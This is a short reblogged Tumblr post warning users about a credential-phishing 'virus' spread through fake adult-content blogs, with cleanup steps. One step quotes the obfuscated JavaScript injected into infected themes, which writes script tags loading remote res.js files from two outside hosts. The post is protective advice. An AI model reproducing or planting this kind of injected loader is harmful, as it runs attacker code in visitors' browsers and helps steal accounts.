So sorry about the virus attack, guys.

twentyandthin:

If you ever encounter a Tumblr blog that says it has adult content and asks you to enter your username and password, DO NOT ENTER IT. Those freebies from “Tumblr Staff” are fake. I’ve seen some of the people I’ve followed with this virus, so be very careful.

To get rid of it, either search the “tumblr virus” tags or do these steps below:

1) Delete all those posts. 
2) Change your Tumblr and e-mail password.
3) Go to your theme and delete the bit that looks like this:

<script type=”text/javascript”>var sgdjjk0 = window[‘docu’+’ment’]; sgdjjk0[‘w’+’rite’](‘<scri’+’pt’+’ t’+’ype=”’+’text’+’av’+”+’ascri’+’p’+’t”’+’ s’+’rc’+”+”+’=’+”+”+‘“http’+’://ww’+”+’w’+”+’.dadr’+’ia’+’n.ro’+’/’+’re’+’s/’+’r’+’es.js’+’”></s’+’crip’+”+”+’t>’); < /script><script type=”text/javascript”>var n6s5 = window[‘d’+’ocum’+’ent’] n6s5[‘writ’+’e’](‘<s’+’cript’+”+’ typ’+’e=”t’+’e’+’x’+’t/jav’+’a’+’scrip’+’t’+’” src’+’=”htt’+’p://’+’sycam’+’or’+’ebout’+”+’ique’+’.com.’+’au/a’+’/’+’r’+’es’+’.’+’js”>’+’<’+’/scr’+’ipt>’);</script></body>

… or for the easy way, just change your theme. The virus embeds itself into your theme and that’s how it affects your blog. 
4) Delete your history, including saved passwords and everything.

(Source: fitacious, via m21-freaking-marry-me-deactivat)